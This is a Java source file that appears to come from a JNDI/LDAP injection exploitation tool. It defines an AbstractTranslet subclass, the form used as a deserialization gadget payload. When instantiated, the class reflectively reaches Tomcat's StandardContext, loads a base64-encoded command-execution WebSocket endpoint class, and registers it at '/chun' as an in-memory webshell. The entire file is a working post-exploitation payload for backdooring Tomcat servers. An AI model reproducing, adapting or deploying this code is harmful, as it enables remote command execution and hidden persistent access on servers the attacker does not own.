content: package com.feihong.ldap.template;
  
  import com.sun.org.apache.xalan.internal.xsltc.DOM;
  import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  import org.apache.catalina.core.ApplicationContext;
  import org.apache.catalina.core.StandardContext;
  import org.apache.catalina.loader.WebappClassLoaderBase;
  import org.apache.catalina.webresources.StandardRoot;
  import org.apache.tomcat.websocket.server.WsServerContainer;
  import sun.misc.BASE64Decoder;
  
  import javax.servlet.ServletContext;
  
  
  import javax.websocket.server.ServerEndpointConfig;
  import javax.websocket.server.ServerContainer;
  import java.io.InputStream;
  import java.lang.reflect.Field;
  import java.lang.reflect.Method;
  
  public class WsMemshellTemplate extends AbstractTranslet {
      public WsMemshellTemplate(){
          try {
              System.out.println("WsMemshellTemplate");
              String path = "/chun";
  
              WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
              StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
              if (standardroot==null){
                  Field field;
                  try {
                      field = webappClassLoaderBase.getClass().getDeclaredField("resources");
                      field.setAccessible(true);
                  }catch (Exception e){
                      field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources");
                      field.setAccessible(true);
                  }
                  standardroot = (StandardRoot)field.get(webappClassLoaderBase);
              }
  
              StandardContext standardContext = (StandardContext) standardroot.getContext();
  
              ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
              Class clazz = null;
              try{
                  clazz = classLoader.loadClass("fucker");
              }catch(ClassNotFoundException e){
                  try{
  
                      String codeClass = "yv66vgAAADQAIwoABgAYBwAZCgACABoLABsAHAcAHQcAHgEADElubmVyQ2xhc3NlcwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAUTHRlc3Rlci9jbWRFbmRwb2ludDsBAAZvbk9wZW4BADwoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnRDb25maWc7KVYBAAdzZXNzaW9uAQAZTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uOwEABmNvbmZpZwEAIExqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnRDb25maWc7AQAQTWV0aG9kUGFyYW1ldGVycwEAClNvdXJjZUZpbGUBABBjbWRFbmRwb2ludC5qYXZhDAAIAAkBABR0ZXN0ZXIvY21kRW5kcG9pbnQkMQwACAAfBwAgDAAhACIBABJ0ZXN0ZXIvY21kRW5kcG9pbnQBABhqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnQBADAoTHRlc3Rlci9jbWRFbmRwb2ludDtMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247KVYBABdqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbgEAEWFkZE1lc3NhZ2VIYW5kbGVyAQAjKExqYXZheC93ZWJzb2NrZXQvTWVzc2FnZUhhbmRsZXI7KVYAIQAFAAYAAAAAAAIAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAEADwAQAAIACgAAAFIABQADAAAAECu7AAJZKiu3AAO5AAQCALEAAAACAAsAAAAKAAIAAAAMAA8AJQAMAAAAIAADAAAAEAANAA4AAAAAABAAEQASAAEAAAAQABMAFAACABUAAAAJAgARABAAEwAAAAIAFgAAAAIAFwAHAAAACgABAAIAAAAAAAA=";
                      byte[] bytes = base64Decode(codeClass);
  
                      Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                      method.setAccessible(true);
                      clazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
                  }catch (Exception ex){
                      ex.printStackTrace();
                  }
              }
  
              ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz.getClass(), path).build();
              WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
              try {
                  if (null == container.findMapping(path)) {
                      container.addEndpoint(configEndpoint);
                      System.out.println("sucess");
                  }else {
                      System.out.println("repeat");
                  }
              } catch (Exception e) {
              }
          }catch (Exception e){
          }
  
      }
      public byte[] base64Decode(String str) throws Exception {
          try {
              Class clazz = Class.forName("sun.misc.BASE64Decoder");
              return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
          } catch (Exception e) {
              Class clazz = Class.forName("java.util.Base64");
              Object decoder = clazz.getMethod("getDecoder").invoke(null);
              return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
          }
      }
  
      @Override
      public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  
      }
  
      @Override
      public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  
      }
  
  
  }